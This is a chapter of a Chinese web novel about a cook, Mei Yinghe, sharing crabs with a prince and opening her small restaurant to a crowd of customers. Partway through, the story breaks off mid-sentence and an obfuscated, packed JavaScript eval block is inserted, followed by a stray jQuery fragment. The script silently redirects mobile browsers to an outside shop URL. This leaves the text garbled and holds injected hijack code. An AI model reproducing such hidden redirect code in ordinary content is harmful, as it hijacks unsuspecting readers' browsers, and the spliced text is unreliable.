这一餐饭吃得很合胃口，赵行之吃了两大碗饭，把一身的疲惫和不耐都消化掉了，整个人也恢复了元气。
盘碗皆空之后，梅映禾露出笑脸，作为厨师生平又很节俭，最是看不得人浪费食物。
这位尊贵的殿下倒是有个不剩饭菜的好习惯。
再一转眼，看到了和一碟子螃蟹面面相觑的赵行之。
梅映禾：……
难道这世上会有人不爱吃螃蟹吗，梅映禾腹诽，一边拿着蟹八件不慌不忙地抠螃蟹吃，一边还要砸一口烫热了的花雕酒，还一边试探他：
“这个螃蟹可是肥美得很，七哥看，膏脂肥厚黄多肉满。”
所言的确不虚，这卖螃蟹的商贩为了拉住一个长期合作的店家，可谓是拿出了压箱底的好货。
可这却把晋王殿下难住了，赵行之从小到大吃的都是剥了壳的蟹肉蟹黄和蟹膏，并不曾留意这些东西究竟是怎么扒拉出来的。
再看看梅映禾，一边吃还一边用壳子一点一点拼出一个蟹壳来，当真是绝妙。
“小娘子是如何做到的。”佑安震惊，倒是问出了赵行之的心里话。
梅映禾脸上露出得意的笑：“我教你。”
话是冲着佑安说的，眼神看得却是赵行之。
蟹子肥美，看着她手里颤黄澄澄的蟹黄、颤悠悠的蟹膏、厚重饱满的蟹肉，还有那琥珀色的花雕……赵行之收回眼神，不语。
堂堂大男人怎么能叫一个小娘子教吃螃蟹，传出去岂不丢人。
磨不开面子跟她学扒蟹壳，这肥美的大螃蟹赵行之今日是吃不成了。
赵行之幽怨地看了一眼专心致志学吃螃蟹的佑安，那小子正觍着脸跟梅映禾学用蟹八件，为了口吃的丝毫不顾面子。
“七哥怎么不吃呢。”梅映禾问，“今日的螃蟹好吃得很，对吧佑安。”
佑安眼皮都没抬，点头如捣蒜：“对对对，好吃。”
好吃你个头。
赵行之起身：“本王不爱吃捧蟹，先回了。”
话音落，人已经不见了踪影。独留佑安在座位上愣住了，王爷走了，那他也得走了，可是手里吃了一半的螃蟹怎么也舍不得放下，想哭。
梅映禾赶忙拿来兜子，“拿走，都带走，蘸料和这半壶花雕也都给你打包，还有七哥的蟹，他不吃也给你。”
每人两只蟹一公一母，佑安吃了半只母蟹，梅映禾又给了装了两只公蟹和一只母蟹，这才看到佑安重又露出笑容的脸：
“小娘子人真好。”
望着佑安乐不可支的背影，小梅直摇头，惋惜道：“这富贵人家就是这点儿不好，太挑嘴，这么好的螃蟹都不爱吃，真不知好歹。”
对，就是不知好歹。梅映禾也这么想，“咱们继续，阿十多吃两个。”
一直默默干饭的阿十这才抬起头露出一脸憨厚的笑：“谢东家阿姐。”
酒足饭饱，阿十说什么都不让梅映禾和小梅再动手，一个人麻利地收拾洗刷。梅映禾捧着一杯姜茶直夸他：
“小伙子伶俐又勤快，好好学手艺，将来必定有出息。”
阿十羞红了脸。
下午给阿十买了被褥寝具，梅映禾和小梅一起把院子东南角原先做柴房的空屋子打扫干净，简单用木板搭了个床铺，阿十今晚便算是有个地方能睡觉了。
当晚，梅映禾和小梅一起回了许府住下。梅映禾自然不会忘了给义父带螃蟹和花雕，并着晚上刚炒好的几样小菜，正在翘首以盼的老头儿乐得直拍手，管家说：“大人还有一堆文书要看，可就是不肯去书房，非要等着小娘子们回来。”
没白等，梅映禾亲手将酒菜送上，父女两个聊了两句，许且念着她白日太忙催着她去睡觉，梅映禾这才回了属于自己的住处。
这算是她的一个家了吧，梅映禾很是感慨，竟然能在京城有了容身之地。义父给她准备的是一个单独的小院儿，正房是套间，用屏风隔开，耳房将原先的书房改成了灶房，算是给她量身定制的，里头一排一排隔板和一个一个立柜，用来存储和码放东西再好不过了。
当晚二人洗漱后很快便睡下了，第二日梅映禾起了个大早，管家说大人忙了一夜，才刚睡下，梅映禾和小梅便轻轻出门去，临走交代管家熬些养身补气的粥给义父，说自己晚上还会带来好吃的，管家乐道：“大人是个有福气，能有小娘子这般孝敬他，晚年也是幸福的。”
梅映禾和梅九畴又何尝不是幸运的人呢。
到了铺子上，天色已然大亮。本以为阿十还没起床，少年人贪睡也是正常。谁知门窗已经打开通风，阿十忙碌的身影正在店里擦拭打扫，一切都已准备就绪。
见了她们，阿十笑道：“二位阿姐，厨房里的菜已经收拾出来了，想着东家阿姐要用的肉也已经洗了泡了，柴也劈好了，应当是够用的。”
阳光下，少年人的额角渗出汗水，脸上带着羞涩的笑容。
多好的孩子，一大清早起来就忙活完了所有的活儿，真是惹人疼。
“坐着吧，阿姐们也没吃早食，我去煮面。”梅映禾撸起袖子就去了灶房。
不一会儿，热气腾腾的面就出锅，深赭色的汤底在太阳底下发出琥珀般的光芒，细细的面条上躺着橙红色的溏心蛋、几个小排和青菜，看着就诱人。
三个大碗，阿十的分量最多，还有一个小碗，那是小九的。几人闷头干饭，直到盘碗皆空，一个个都露出餍足的笑。
“东家阿姐，咱们铺子什么时候开张。”阿十问。
其实早就准备好了，梅映禾只是不想让自己太累，所以慢慢悠悠地一点一点收拾些边边角角，“过两日吧。”
看了一眼街上逐渐多起来的人，梅映禾拉着小梅出门去了。
有阿十看店，这便可以说走就走了。
二人忙活一上午，给店里添置一些零零碎碎的小东西，专门用来擦桌子的软布，多准备一些也好时时刻刻保持干净，让食客们看了心里也会更舒服更放心。又买了几盆花做点缀，更重要的是给阿十买了正儿八经的床、衣柜和桌椅，还给他的小屋扯了布做窗帘、门帘，再给少年多添了两身衣裳，整日都要干活儿的人，多几套方便换洗。
梅映禾还不忘买了几本有关吃和食材的书，阿十识字，是个好苗子，梅映禾打算好好培养他。
三日后，好吃食铺正式开张。
门口挂了彩旗和灯笼，义父写的牌匾还蒙上了大红绸子布，舞狮在铺子门口热闹了一个早上，梅映禾特意让阿十在门口发牛轧糖和果子点心，聚拢了好些人。
吉时到，梅映禾拜了财神爷，揭了牌匾又给狮子点了睛，阿十点了炮仗，一阵热热闹闹欢天喜地之中，算是完成了小小的开张仪式。
激动得小梅直抹眼泪，“做梦都想不到，竟然成真了。只可惜你哥哥看不到。”
梅映禾：……
这话听着有点儿别扭。
赶紧抱着胳膊安慰她，“往后会越来越好的，哥哥不在，未来嫂嫂在也是一样的。”
一句话换来了小梅的大红脸，羞涩地甩开她的手忙着招呼客人去了。
这间铺子是梅映禾和梅九畴积攒下来的银子置办起来的，小梅也添了一些，虽说不多可十分救急，不然不能处处这样齐整、周全。所以，梅映禾给了小梅股份，除此以外还有月俸可以领，包括阿十也是有月俸的。
至今仍旧无法适应奴仆和身契的梅映禾，对于干活领工资觉得是天经地义，可小梅和阿十却怎么都接受不了，白吃白住还要拿银子，脸皮怎么能那么厚呢。
梅映禾说得口干舌燥，二人的头依旧摇得似拨浪鼓。无奈，梅映禾只能该做账做账，该分成的分成，他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175117|146309||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不要就都给他们留着，权当替他们攒钱了。
说到攒钱，这可是梅映禾人生的最大乐趣。不然短短时间内，哪里能置办起这样的产业来。看着眼前窗明几净、人声鼎沸的小店铺，梅映禾心里那叫一个满足，畅想着日后一定会有属于自己的铺子属于自己的店，更大的店。
因为是开张，铺子里又准备了免费的柠檬饮子和点心果子、零食，所以没到饭点的时候就已经满满的都是人了。
小梅在门口的位子上迎客、收银子、结账，店里头有阿十，少年脸上带着笑，十分勤快地端茶倒水，记客人点的单。他脑子好，这么十几桌客人点菜，他竟然用脑子就能记住。
梅映禾感慨，自己拿笔记都能记错的事在人家那里不费吹灰之力，所以天赋真的很重要，这小子说不定还真是这一行的天选之人。
之前夜市开张，梅映禾做足了宣传的功夫，反倒这一次铺子开张她并没有特意告知。
一来这个地段人流量本就不小，然她的店铺却不大，无须刻意宣传，该知道的日后慢慢都会知道，反而扎堆来了她怕招待不周，慢待了人家。二来，说是开张其实很简单，优惠折扣也只是三日内送菜，其他再没有了。她想做细水长流的生意，这食铺子就得慢慢经营，细细打磨才好。
如今的梅映禾没有了负债的压力，心境也变得不那么紧张，倒是很想好好地研究庖厨技艺。
谁知老客们还是知道了，有人眼尖，一下就看到了站在门口迎客的小娘子，奔走相告，大家乌泱泱自发就来了，铺子里头坐不下了，大家就坐在门口的石阶上排队等着。
梅映禾很感激，一头扎进后厨忙碌起来，每桌送一个菜显不出她的诚意，送两个吧。
该花的钱不能省，梅映禾趁着空当儿，又将柜子里存放的菜和肉都拿了出来。原先计算过第一日开张能用多少菜多少肉，这下必须得增加，好在先前多备了一些。
灶房里火力全开，煎炒烹炸梅映禾一个人忙得不可开交，叮叮呛呛锅碗瓢勺的声音，滋里哗啦油锅里炒菜的声音，还有浓郁的香气飘散，大厅里的食客越发期待了，大家议论纷纷，梅映禾在灶房，间隙中还能听到前头店铺里传来的热闹的讨论声，人越来越多了。
阿十忙着跑前跑后地上菜，还不忘向梅映禾传递前头的情况：
“门口排起了双队，已经拐到街口了。”
“阿姐的红烧排骨实在太好卖了，几乎每一桌都点。”
“九号桌的客人又加了两个菜，这是单子，阿姐别忘了。”
……
老客不少，新客更多，大家彼此熟悉，等得也不着急，吃着喝着聊着，气氛十分融洽。
可真是忙坏了里里外外的三个人，梅映禾看了一眼小梅和阿十，决定今日下午就得张贴告示，招人，厨子、洗碗工，都要。
“阿姐，咱们的柠檬饮子快没了，我直接给客人上茶了可好？”阿十跑来问。
梅映禾点头，“好好好。”
“阿姐，零食也吃得差不多了。”
“阿姐，又来了一批人，像是刚下职的官人。”
“阿姐，来了几个家仆，问能不能做好了打包带回府中去吃。”
……
完了，梅映禾看着一点一点用没了的菜和肉，食材不够了。
都怪自己，原本想着没怎么大肆宣传，精打细算后就只备下了一天半的食材，这样的天气蔬菜和肉放久了不新鲜了，梅映禾是懂得节俭的。
可万万没想到，才中午这一餐竟然就要用完了。
撩开传菜的小窗帘，梅映禾朝外头看了一眼，完了，指定不够了，怎么办。眼看着肉菜突突突地消耗殆尽，梅映禾心里开始着急，就算现在出去买都没人能腾出手来。
这第一日开张总不能告诉客人：“对不起，小店没吃的了。”